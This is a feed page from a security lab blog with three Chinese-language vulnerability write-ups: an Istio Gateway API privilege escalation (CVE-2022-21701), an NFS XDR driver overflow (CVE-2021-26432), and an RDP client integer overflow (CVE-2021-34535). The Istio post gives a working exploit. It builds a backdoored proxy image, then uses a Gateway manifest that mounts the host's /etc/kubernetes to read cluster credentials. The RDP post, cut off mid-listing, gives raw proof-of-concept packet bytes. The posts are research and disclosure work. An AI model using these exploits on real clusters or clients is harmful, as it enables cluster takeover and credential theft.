Normal view

There are new articles available, click to refresh the page.
Before yesterdayNoah Lab

利用 gateway-api 攻击 kubernetes

By: lazydog
17 March 2022 at 11:40

前言

前几天注意到了 istio 官方公告,有一个利用 kubernetes gateway api 仅有 CREATE 权限来完成特权提升的漏洞(CVE-2022-21701),看公告、diff patch 也没看出什么名堂来,跟着自己感觉猜测了一下利用方法,实际跟下来发现涉及到了 sidecar 注入原理及 depolyments 传递注解的特性,个人觉得还是比较有趣的所以记录一下,不过有个插曲,复现后发现这条利用链可以在已经修复的版本上利用,于是和 istio security 团队进行了“友好”的沟通,最终发现小丑竟是我自己,自己yy的利用只是官方文档一笔带过的一个 feature。

所以通篇权当一个 controller 的攻击面,还有一些好玩的特性科普文看好了

istio sidecar injection

istio 可以通过用 namespace 打 label 的方法,自动给对应的 namespace 中运行的 pod 注入 sidecar 容器,而另一种方法则是在 pod 的 annotations 中手动的增加 sidecar.istio.io/inject: "true" 注解,当然还可以借助 istioctl kube-inject 对 yaml 手动进行注入,前两个功能都要归功于 kubernetes 动态准入控制的设计,它允许用户在不同的阶段对提交上来的资源进行修改和审查。

动态准入控制流程:

webhook

istiod 创建了 MutatingWebhook,并且一般对 namespace label 为 istio-injection: enabledsidecar.istio.io/inject != flase 的 pod 资源创建请求做 Mutaing webhook.

apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
  name: istio-sidecar-injector
webhooks:
[...]
  namespaceSelector:
    matchExpressions:
    - key: istio-injection
      operator: In
      values:
      - enabled
  objectSelector:
    matchExpressions:
    - key: sidecar.istio.io/inject
      operator: NotIn
      values:
      - "false"
[...]
  rules:
  - apiGroups:
    - ""
    apiVersions:
    - v1
    operations:
    - CREATE
    resources:
    - pods
    scope: '*'
  sideEffects: None
  timeoutSeconds: 10

当我们提交一个创建符合规定的 pod 资源的操作时,istiod webhook 将会收到来自 k8s 动态准入控制器的请求,请求包含了 AdmissionReview 的资源,istiod 会对其中的 pod 资源的注解进行解析,在注入 sidecar 之前会使用 injectRequired (pkg/kube/inject/inject.go:169)函数对 pod 是否符合非 hostNetwork 、是否在默认忽略的 namespace 列表中还有是否在 annotation/label 中带有 sidecar.istio.io/inject 注解,如果 sidecar.istio.io/injecttrue 则注入 sidecar,另外一提 namepsace label 也能注入是因为 InjectionPolicy 默认为 Enabled

inject_code

了解完上面的条件后,接着分析注入 sidecar 具体操作的代码,具体实现位于 RunTemplate (pkg/kube/inject/inject.go:283)函数,前面的一些操作是合并 config 、做一些检查确保注解的规范及精简 pod struct,注意力放到位于templatePod 后的代码,利用 selectTemplates 函数提取出需要渲染的 templateNames 再经过 parseTemplate 进行渲染,详细的函数代码请看下方

template_render

获取注解 inject.istio.io/templates 中的值作为 templateName , params.pod.Annotations 数据类型是 map[string]string ,一般常见值为 sidecar 或者 gateway

func selectTemplates(params InjectionParameters) []string {
    // annotation.InjectTemplates.Name = inject.istio.io/templates
    if a, f := params.pod.Annotations[annotation.InjectTemplates.Name]; f {
        names := []string{}
        for _, tmplName := range strings.Split(a, ",") {
            name := strings.TrimSpace(tmplName)
            names = append(names, name)
        }
        return resolveAliases(params, names)
    }
    return resolveAliases(params, params.defaultTemplate)
}

使用 go template 模块来完成 yaml 文件的渲染

func parseTemplate(tmplStr string, funcMap map[string]interface{}, data SidecarTemplateData) (bytes.Buffer, error) {
    var tmpl bytes.Buffer
    temp := template.New("inject")
    t, err := temp.Funcs(sprig.TxtFuncMap()).Funcs(funcMap).Parse(tmplStr)
    if err != nil {
        log.Infof("Failed to parse template: %v %v\n", err, tmplStr)
        return bytes.Buffer{}, err
    }
    if err := t.Execute(&tmpl, &data); err != nil {
        log.Infof("Invalid template: %v %v\n", err, tmplStr)
        return bytes.Buffer{}, err
    }

    return tmpl, nil
}

那么这个 tmplStr 到底来自何方呢,实际上 istio 在初始化时将其存储在 configmap 中,我们可以通过运行 kubectl describe cm -n istio-system istio-sidecar-injector 来获取模版文件,sidecar 的模版有一些点非常值得注意,很多敏感值都是取自 annotation

template_1

template_2

有经验的研究者看到下面 userVolume 就可以猜到大概通过什么操作来完成攻击了。

sidecar.istio.io/proxyImage
sidecar.istio.io/userVolume
sidecar.istio.io/userVolumeMount

gateway deployment controller 注解传递

分析官方公告里的缓解建议,其中有一条就是将 PILOT_ENABLE_GATEWAY_API_DEPLOYMENT_CONTROLLER 环境变量置为 false ,然后结合另一条建议删除 gateways.gateway.networking.k8s.io 的 crd,所以大概率漏洞和创建 gateways 资源有关,翻了翻官方手册注意到了这句话如下图所示,Gateway 资源的注解将会传递到 ServiceDeployment 资源上。

istio_docs

有了传递这个细节,我们就能对得上漏洞利用的条件了,需要具备 gateways.gateway.networking.k8s.io 资源的 CREATE 权限,接着我们来分析一下 gateway 是如何传递 annotations 和 labels 的,其实大概也能想到还是利用 go template 对内置的 template 进行渲染,直接分析 configureIstioGateway 函数(pilot/pkg/config/kube/gateway/deploymentcontroller.go) ,其主要功能就是把 gateway 需要创建的 ServiceDeployment 按照 embed.FS 中的模版进行一个渲染,模版文件可以在(pilot/pkg/config/kube/gateway/templates/deployment.yaml)找到,分析模版文件也可以看到 template 中的 annotations 也是从上层的获取传递过来的注解。toYamlMap 可以将 maps 进行合并,注意观察 (strdict "inject.istio.io/templates" "gateway") 位于 .Annotations 前,所以这个点我们可以通过控制 gateway 的注解来覆盖 templates 值选择渲染的模版。

apiVersion: apps/v1
kind: Deployment
metadata:
  annotations:
    {{ toYamlMap .Annotations | nindent 4 }}
  labels:
    {{ toYamlMap .Labels
      (strdict "gateway.istio.io/managed" "istio.io-gateway-controller")
      | nindent 4}}
  name: {{.Name}}
  namespace: {{.Namespace}}
  ownerReferences:
  - apiVersion: gateway.networking.k8s.io/v1alpha2
    kind: Gateway
    name: {{.Name}}
    uid: {{.UID}}
spec:
  selector:
    matchLabels:
      istio.io/gateway-name: {{.Name}}
  template:
    metadata:
      annotations:
        {{ toYamlMap
          (strdict "inject.istio.io/templates" "gateway")
          .Annotations
          | nindent 8}}
      labels:
        {{ toYamlMap
          (strdict "sidecar.istio.io/inject" "true")
          (strdict "istio.io/gateway-name" .Name)
          .Labels
          | nindent 8}}

漏洞利用

掌握了漏洞利用链路上的细节,我们就可以理出整个思路,创建精心构造过注解的 Gateway 资源及恶意的 proxyv2 镜像,“迷惑”控制器创建非预期的 pod 完成对 Host 主机上的敏感文件进行访问, 如 docker unix socket。

漏洞环境:

istio v1.12.2
kubernetes v1.20.14
kubernetes gateway-api v0.4.0
用下面的命令创建一个 write-only 的 角色,并初始化 istio

curl -L https://istio.io/downloadIstio | ISTIO_VERSION=1.12.2 TARGET_ARCH=x86_64 sh -
istioctl x precheck
istioctl install --set profile=demo -y
kubectl create namespace istio-ingress
kubectl create -f - << EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: gateways-only-create
rules:
- apiGroups: ["gateway.networking.k8s.io"]
  resources: ["gateways"]
  verbs: ["create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-gateways-only-create
subjects:
- kind: User
  name: test
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: gateways-only-create
  apiGroup: rbac.authorization.k8s.io
EOF

在利用漏洞之前,我们需要先制作一个恶意的 docker 镜像,我这里直接选择了 proxyv2 镜像作为目标镜像,替换其中的 /usr/local/bin/pilot-agent 为 bash 脚本,在 tag 一下 push 到本地的 registry 或者 docker.io 都可以。

docker run -it  --entrypoint /bin/sh istio/proxyv2:1.12.1
cp /usr/local/bin/pilot-agent /usr/local/bin/pilot-agent-orig
cat << EOF > /usr/local/bin/pilot-agent
#!/bin/bash

echo $1
if [ $1 != "istio-iptables" ]
then
    touch /tmp/test/pwned
    ls -lha /tmp/test/*
    cat /tmp/test/*
fi

/usr/local/bin/pilot-agent-orig $*
EOF
chmod +x /usr/local/bin/pilot-agent
exit
docker tag 0e87xxxxcc5c xxxx/proxyv2:malicious

commit 之前记得把 image 的 entrypoint 改为 /usr/local/bin/pilot-agent

接着利用下列的命令完成攻击,注意我覆盖了注解中的 inject.istio.io/templates 为 sidecar 使能让 k8s controller 在创建 pod 任务的时候,让其注解中的 inject.istio.io/templates 也为 sidecar,这样 istiod 的 inject webhook 就会按照 sidecar 的模版进行渲染 pod 资源文件, sidecar.istio.io/userVolumesidecar.istio.io/userVolumeMount 我这里挂载了 /etc/kubernetes 目录,为了和上面的恶意镜像相辅相成, POC 的效果就是直接打印出 Host 中 /etc/kubernetes 目录下的凭证及配置文件,利用 kubelet 的凭证或者 admin token 就可以提权完成接管整个集群,当然你也可以挂载 docker.sock 可以做到更完整的利用。

kubectl --as test create -f - << EOF
apiVersion: gateway.networking.k8s.io/v1alpha2
kind: Gateway
metadata:
  name: gateway
  namespace: istio-ingress
  annotations:
    inject.istio.io/templates: sidecar
    sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious
    sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'
    sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'
spec:
  gatewayClassName: istio
  listeners:
  - name: default
    hostname: "*.example.com"
    port: 80
    protocol: HTTP
    allowedRoutes:
      namespaces:
        from: All
EOF

创建完 Gateway 后 istiod inject webhook 也按照我们的要求创建了 pod

gateway_pod_yaml

docker_image

deployments 最终被渲染如下:

apiVersion: apps/v1
kind: Deployment
metadata:
  annotations:
    deployment.kubernetes.io/revision: "1"
    inject.istio.io/templates: sidecar
    [...]
    sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious
    sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'
    sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'
  generation: 1
  labels:
    gateway.istio.io/managed: istio.io-gateway-controller
  name: gateway
  namespace: istio-ingress
spec:
  progressDeadlineSeconds: 600
  replicas: 1
  revisionHistoryLimit: 10
  selector:
    matchLabels:
      istio.io/gateway-name: gateway
  strategy:
    rollingUpdate:
      maxSurge: 25%
      maxUnavailable: 25%
    type: RollingUpdate
  template:
    metadata:
      annotations:
        inject.istio.io/templates: sidecar
        [...]
        sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious
        sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'
        sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'
      creationTimestamp: null
      labels:
        istio.io/gateway-name: gateway
        sidecar.istio.io/inject: "true"
    spec:
      containers:
      - image: auto
        imagePullPolicy: Always
        name: istio-proxy
        ports:
        - containerPort: 15021
          name: status-port
          protocol: TCP
        readinessProbe:
          failureThreshold: 10
          httpGet:
            path: /healthz/ready
            port: 15021
            scheme: HTTP
          periodSeconds: 2
          successThreshold: 1
          timeoutSeconds: 2
        resources: {}
        securityContext:
          allowPrivilegeEscalation: true
          capabilities:
            add:
            - NET_BIND_SERVICE
            drop:
            - ALL
          readOnlyRootFilesystem: true
          runAsGroup: 1337
          runAsNonRoot: false
          runAsUser: 0
        terminationMessagePath: /dev/termination-log
        terminationMessagePolicy: File
      dnsPolicy: ClusterFirst
      restartPolicy: Always
      schedulerName: default-scheduler
      securityContext: {}
      terminationGracePeriodSeconds: 30

攻击效果,成功在 /tmp/test 目录下挂载 kubernetes 目录,可以看到 apiserver 的凭据

pwned

总结

虽然 John Howard 与我友好沟通时,反复询问我这和用户直接创建 pod 有何区别?但我觉得整个利用过程也不失为一种新的特权提升的方法。

随着 kubernetes 各种新的 api 从 SIG 孵化出来以及更多新的云原生组件加入进来,在上下文传递的过程中难免会出现这种曲线救国权限溢出的漏洞,我觉得各种云原生的组件 controller 也可以作为重点的审计对象。

实战这个案例有用吗?要说完全能复现这个漏洞的利用过程我觉得是微乎其微的,除非在 infra 中可能会遇到这种场景,k8s 声明式的 api 配合海量组件 watch 资源的变化引入了无限的可能,或许实战中限定资源的读或者写就可以转化成特权提升漏洞。

参考:

  1. https://gateway-api.sigs.k8s.io/
  2. https://istio.io/latest/docs/reference/config/annotations/
  3. https://istio.io/latest/news/security/istio-security-2022-002/
  4. https://istio.io/latest/docs/tasks/traffic-management/ingress/gateway-api/

CVE-2021-26432 NFS ONCRPC XDR 驱动协议远程代码执行漏洞验证过程

By: yyjb
12 April 2022 at 06:37

1,背景:

2021年8月份有两个较严重的漏洞需要关注,其中包括NFS ONCRPC XDR Driver 远程代码执行漏洞CVE-2021-26432以及RDP客户端远程代码执行漏洞CVE-2021-34535。

我们的目标是分析这些潜在影响可能较大的漏洞是否容易在实际的场景中被利用。这里,我们分析NFSXDR漏洞CVE-2021-26432。

2,NFSXDR驱动服务简介:

3,补丁分析:

分析补丁我们能比较容易确定漏洞修补的位置。

其中一处修改的地方是在函数OncRpcMsgpDecodeRpcCallVerifier中增加对参数的判断,

另一个则是在OncRpcBufMgrpAllocateDescriptorFromLLLargePoolAllocation函数中申请内存后,立即初始化该内存。

4,构造poc:

直观上来判断,RCE的cve更可能和第一个判断有关,这里我们通过追踪补丁的判断参数a1+296这个值的所有引用,最后在下面的函数中,找到了和它有关的另一个判断位置。

我们这里可以猜测这是一个计算消息头长度的函数,满足漏洞触发条件之一,需要这个长度固定为36。再查阅相关资料,我们能知道其余漏洞的触发条件是如果我们选择了RPC了验证方式为6(RPCSEC_GSS),则RPC中Credentials中的Flavor为1即AUTH_UNIX(而补丁修补后Credentials中的Flavor只能是为6)。然后我们根据协议文档尝试构造数据包,通过后续的分析对比可以明确上面的固定长度对应的是GSS_Token中的数据长度。

构造GSS_Token中的数据长度大于其在此情况下系统默认固定长度36即可触发漏洞路径。

由于对GSS_Token数据长度计算方式判断错误,返回的数据是可能会超过其默认申请的长度,我们可以通过灵活的构造请求包中的GSS_Token数据长度来控制这个漏洞可能会导致的效果:

如果其长度比默认的36长得不是太多(大致0x50左右),返回的数据包中会包含除GSS_Token数据之外其他的结构数据,这是一个可以导致一个信息泄露的效果:其泄露的数据具体来说包含整个对象内存的地址指针。如果我们的GSS_Token数据长度更长,则系统处理这些数据就会溢出掉后面其他所有结构数据直到其他未知内存(超出0x100基本会崩溃)。另外注意GSS_Token数据长度不是无限长度任意构造的,并且由于NFSxdr驱动中对数据接收的一些其他的限制,我们所能构造的溢出长度最长只能大概0x4000左右。

5,利用:

目前,我们已经有一个比较稳定的溢出。通常漏洞利用会尝试溢出一些特定的数据来得到一个指针执行机会。

我们考虑了以下两种方式:

A,通过溢出控制对象大小为0x900(*XdBD,这是一种NFSXDR为内部申请小于0x800的缓冲区对象)的内部链表缓冲区头,控制下一个缓冲区地址。构造写原语,一方面这种内部缓存的对象链表通常不需要校验其头部数据,这样溢出后会比较稳定。另一方面,通过控制这种内部链表结构,我们可以更加精确的控制其中的内存申请释放时机。

但一方面,这个单链表的长度太短了只有4。这种0x900的对象它的生命周期是随着RPC命令一起生成和释放的。一旦我们尝试风水布局,我们很难确定到这个4个对象的位置。另一方面我们不能通过前面提到的信息泄露的方式去知道这几个对象的地址。因为目前的信息泄露触发方式只能是在申请大缓冲区时才能满足漏洞条件的。而这个0x900的对象属于较小内存对象。

B,通过溢出控制OncRpcConnMgrpWskReceiveEvent中的OncRpcWiMgrpSrvWorkItemAlloc申请的内存(长度为0xa00的NLM对象),控制其对象中的引用指针。借助一个独立的信息泄露漏洞(参考本文最后一节),在我们布局的非分页内存中存放rop链来执行代码。

NFS本身是一个无状态的通讯协议,他使用了NLM对象来保证协议的中的资源正常访问读写。这里的NLM对象,有一些特性值得我们注意。

当多个RPC请求短时间传到服务端时,服务端会使用OncRpcConnMgrpWskReceiveEvent中这样的的一个流程去处理这些请求。

我打印了一部分我们关注的对象的生命周期。我们的目标是溢出NLM对象头部保存的OncRpcMsgProcessMessage函数指针。如下图:

该指针会在其释放前在NFS RPC工作线程中被调用:

该对象生命周期如下:

下图中的W-pool对应NLM对象。我们的目的是在NLM释放前调用其内部的OncRpcMsgProcessMessage指针时,覆盖该指针。

NFSXRD中,每一种不同的请求类型对应不同的的RPC请求,我们通过调整RPC请求中类型的位置和顺序能能够按照我们预期的时机触发溢出。,

NLM对象释放前,我们触发了溢出:

具体来说,我们申请一个0x1490的大内存对象(0x1490是我们可控制的申请读写数据的长度数据内存),之后使用NLM对象填充这些0x1490剩余的空洞。然后再释放所有0x1490的内存对象,在此时重新申请0x1490的读写请求包,在这其中一个包结构中触发漏洞。

以期望在所有的NLM对象释放前,溢出某一个NLM对象中的OncRpcMsgProcessMessage指针。

但结果并不能如预期那样,使漏洞刚好溢出到我们期望的目标上,即使是非常低的概率也没有。除此之外,我们还尝试了另一种不同的溢出思路:

第二种方法,大量发出某一种特定的PRC的指定请求(NLM请求),OncRpcConnMgrpWskReceiveEvent处理流程中会大量交替申请0xa00和0x900两种对象,并且这两个对象是成对出现的他们会各自占用0x1000的内存并形成一个较稳定的内存结构。当前面循环的RPC请求部分前面的相邻0xa00,0x900对象释放时,合并出0x2000的空闲内存。之后在还有剩余RPC请求存在的时候,构造漏洞溢出的内存长度为0x2000溢出其中的一个0xa00 NLM对象的头部。

6,总结:

但后续根据大量测试,我们并不能控制NLM对象能在我们漏洞触发时刚好释放。他有自己的时间计时器,其存在时间总也总是是低于我们的预期。并且另外一个关键的地方是,我们所构造的漏洞消息所申请的内存必须大于1K,太小则不能触发漏洞流程。这时我们也不能使用0x900或者0xa00这样本身存在的对象来占位。

我们最大的问题就是我们溢出的目标对象很难在我们控制得时机,布局成我们期望的位置(无论是0xa00 *RSWI还是0x900 *XdBD)。

综上,如果仅仅限制在最新的win10以上的NFSXDR协议内部,要实现利用似乎并不容易。但考虑到目前已知的在其他协议上的一些研究结果,如果是针对一些例如server2008这样较老系统上布置的NFSXDR服务。该漏洞是可能比较容易通过一些其他协议的内存布局方式而成功利用的。

7,新的漏洞:

在分析漏洞的补丁差异之初,我们有留意到补丁中对申请大于0x800的小内存时,才增加了一个初始化内存的操作,但当申请较小内存的时候,并没有对应的补丁代码。

如下:‌

按照思维惯性,我们在后续的分析中,就会带着这样的一个疑问进行后续的分析——当申请较小内存时,是否也会存在同原理的错误?

当我们在后续尝试exp的分析过程中发现,当我们构造数据包中GSSTOKEN数据长度如果不为4的整倍数时,返回的数据中最后几位字节有时会出现一些不确定的数据,(如下面的示例)

这是调整申请内存构造数据包大小时候偶然发现的(申请较小内存),深入分析后,最终的结果证明了我们之前的猜测。

该协议中对于数据包对齐的逻辑中,在复制数据时,对于非4的整数长度字节数据系统会仍然会自动填补其长度为4的倍数。而其返回的数据,就会有额外的不确定内存。其长度为4-x,x为GSSTOKEN除以4的余数。

然后,这样的一个错误能导致怎样的结果呢?

为了泄漏更长的数据,我们选择 x=1。 在下面的例子中,选择数据长度为 0x23d=0x23c+1;

我们可以通过增加4 的字节(或 4 的倍数)来设置读取请求数据的长度,以改变要泄露的其他感兴趣的不同位置的数据。 如下:0x241=0x23d+4。

什么这里的示例使用 0x23d 的读取长度?

这是因为当我们选择用较小的内存读取数据时,nfsxdr 默认申请内存的大小为 0x900。 在申请这个大小的内存时,很容易使用其他刚刚释放的大小相同的对象的内存。 在我们调试的环境win10中,Thread内核对象的大小也恰好是接近0x900。 如果是这样的话,这里选择读取 0x23d 长度的数据很可能对应到Thread 对象中存储的函数指针地址 0xfffff806 37efe930。 最后我们可以得到0xfffff8XX 37efe9XX这样的信息。 但是,长度为 8 字节的地址仍有 2 个字节无法确认。

通常来说,这样的信息泄露在现代windows系统上的作用似乎仍然受到地址随机化的限制,对于“37efe930“低位的“30”,一般来说有时我们是可能猜测的,但我们不能确认0xfffff806中的“06”。然而在一些过时的windows系统如win7,这样的信息泄露,足够取得一个内核指针信息。

所以在调用OncRpcBufMgrpAllocateDescriptorFromLLInlineBuffer时这里似乎可能仍然需要初始化其内存。

此错误已经在2月份修补为cve-2022-21993。

参考

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26432

CVE-2021-34535 RDP客户端漏洞分析

By: yyjb
12 April 2022 at 06:40

背景:

2021年的八月份微软补丁日,微软公布的补丁中包含两个我们比较感兴趣的两个RCE漏洞中,另一个是cve-2021-34535 RDP客户端的代码执行漏洞。在现代windows系统中,RDP客户端不仅仅被使用在RDP协议中,并且hyper-V中,也似乎保留了部分mstscax.dll功能。因此,该漏洞如果可以在实际环境中构造exp,其威胁是比较严重的。这里我们的目标对该漏洞是否能够在实际中使用进行一个大概的分析判断。并且,因为我们更感兴趣该漏洞在RDP协议下的影响,所以本次分析是基于RDP协议的背景环境。

补丁分析:

通过官方的说明,这是一个存在于mstscax.dll中的漏洞,对比补丁前后代码差异,我们可以比较容易的确认漏洞的基本原理:如下:

这是一个典型的整形溢出漏洞,

另外这里我们还可以注意到,RDP客户端这个代码执行漏洞位置似乎不仅仅只有这一个整形溢出的可能需要判断,还需要验证该sample数据长度是否小于数据包实际携带的sample数据。如果实际的流数据长度小于数据包中长度记录的值,在后续的复制sample数据时,也可能因为读取超出实际数据长度的地址数据而导致崩溃。

构造POC:

根据官方文档的描述,这是这里的CRDPstream::DeliverSample函数功能很可能是属于一个视频重定向动态虚拟频道协议下的功能。所以我们能想到的最好的办法是尝试在复现一个RDP视频重定向的功能场景,然后对CRDPstream::DeliverSample目标函数进行标记,一旦真实的RDP客户端代码能够执行存在漏洞的函数,则我们可以直观的了解到整个漏洞出发路径。这样的另一个好处,是不用了解在漏洞函数触发之前所要做的其他所有工作。不必了解RDP整个初始化过程以及身份验证阶段。

但实际中,我们并不能直接得到这样的结果,经过测试我们仅仅在sever2008中,通过手动启用RDPapp,启用了这种视频重定向功能,但是我们并不能直接定位到漏洞存在的函数。所以,为了更方便的实现这种视频重定向协议的各个功能,最好的办法是需要重建一个RDP服务端,自己根据官方的协议说明文档修改数据。

我们使用了freeRDP中的server代码来实现这一点(在windows下,重构的freeRDP中的server代码可能会有一些兼容性问题,需要修改下个别加载镜像显示驱动的一些处理代码)。

然后回到漏洞触发函数CRDPstream::DeliverSample,我们在文档中找到与其最相关的功能是On Sample消息。通过在freeRDP中的server  drdynvc_server_thread1()动态虚拟通道线程中添加视频重定向虚拟动态通道的响应数据包,并构造这一On Sample数据类型:

我们最终得到了触发漏洞路径的流程(在这个过程中,包含较多繁琐的的猜测尝试过程,这里不赘述)。

但这里有两个地方需要说明一下。

一是关于添加虚拟通道并初始化该通道的过程。官方的说明文档已经非常详细,但有时候,也并不是每一个细节和特例都会会详细举例说明。

为了弄清楚其中的细节。我们可以在服务端交互数据响应处理函数CStubIMMServerData<IMMServerData>::Dispatch_Invoke()入口下断点,关注我们感兴趣的特定具体类型通道的状态标志来理解整个通道的创建,关闭,以及其他工作流程。

二是,关于最终漏洞路径触发的问题。我们能发现我们已经已经能在视频重定向虚拟动态通道中触发一些功能流程,但是并不能进入最终和CRDPstream以及CRDPSource类有关的数据处理函数功能。

这时候,我们可以先关注更上层的CRDPSource这个类的其他函数,如相近功能其他类的DeliverSample功能,或者CRDPSource类本身初始化的功能。找到这类离目标漏洞函数更近的功能,再后续测试流程中不同的参数即能比较容易的找到最终的漏洞触发路径。

我们的测试poc中,其包括的视频重定向动态虚拟通道的功能数据包主要如下:

char str1[] = "\x14\x07\x54\x53\x4d\x46\x00"; //创建动态虚拟通道

char str2_1[] = "\x34\x07" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";

char str2_2[] = "\x34\x07" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";

char str2_3[] = "\x34\x07" //发送通道参数

"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x00\x00\x00\x00";

///

char str3[] = //发送交换信息

"\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x00\x01\x00\x00\x02\x00"

"\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x02\x00"

"\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00";

char str4[] = "\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x08\x01\x00\x00\x01\x00"

"\x00\x00\x01\x00\x00\x00\x60\x00\x00\x00\x61\x75\x64\x73\x00\x00"

"\x10\x00\x80\x00\x00\xaa\x00\x38\x9b\x71\x10\x16\x00\x00\x00\x00"

"\x10\x00\x80\x00\x00\xaa\x00\x38\x9b\x71\x01\x00\x00\x00\x00\x00"

"\x00\x00\x01\x00\x00\x00\x81\x9f\x58\x05\x56\xc3\xce\x11\xbf\x01"

"\x00\xaa\x00\x55\x59\x5a\x20\x00\x00\x00\x10\x16\x02\x00\x80\xbb"

"\x00\x00\x80\x3e\x00\x00\x01\x00\x10\x00\x0e\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x11\x90";

char str5[] = "\x34\x07" //发送通道参数

"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x00\x00\x00";

char str6[] = "\x40\x07"; //关闭通道

char str7[] = "\x14\x08\x54\x53\x4d\x46\x00"; //创建动态虚拟通道

char str8[] = "\x34\x08\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";

char str9[] = "\x34\x08" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";

char str10[] = "\x34\x08" //发送通道参数

"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x00\x00\x00\x00";

char str11[] = "\x34\x08" //发送新的呈现对象

"\x00\x00\x00\x40\x00\x00\x00\x00\x05\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";

char str12[] = "\x14\x07\x54\x53\x4d\x46\x00"; //创建动态虚拟通道

char str13[] = "\x34\x07" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";

char str14[] = "\x34\x07" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";

char str15[] = "\x34\x07" //发送通道参数

"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";

///

char str16[] = //发送交换信息

"\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x00\x01\x00\x00\x02\x00"

"\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x02\x00"

"\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00";

char str17_0[] = "\x34\x07"

"\x00\x00\x00\x40\x00\x00\x00\x00\x13\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";

char str17[] = "\x34\x07"//add steam

"\x00\x00\x00\x40\x00\x00\x00\x00\x02\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00"

"\x64\x00\x00\x00\x61\x75\x64\x73\x00\x00\x10\x00\x80\x00\x00\xaa"

"\x00\x38\x9b\x71\x62\x01\x00\x00\x00\x00\x10\x00\x80\x00\x00\xaa"

"\x00\x38\x9b\x71\x00\x00\x00\x00\x01\x00\x00\x00\x00\x10\x00\x00"

"\x81\x9f\x58\x05\x56\xc3\xce\x11\xbf\x01\x00\xaa\x00\x55\x59\x5a"

"\x24\x00\x00\x00\x62\x01\x02\x00\x00\x77\x01\x00\xc0\x5d\x00\x00"

"\x00\x10\x18\x00\x12\x00\x18\x00\x03\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\xe0\x00\x00\x00";

char str17_2[] = "\x34\x07"

"\x00\x00\x00\x40\x00\x00\x00\x00\x11\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";

char str18[] = "\x34\x07" //发送示例

"\x00\x00\x00\x40\x00\x00\x00\x00\x03\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00"

"\x46\x01\x00\x00\x37\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00"

"\x00\x00\x00\x00\x15\x16\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x03\x02\x00\x00\x00\xff\xff\xff\x00\x00\x01\xb3\x14\x00\xf0\x13"

"\xff\xff\xe0\xc1\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"                "\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

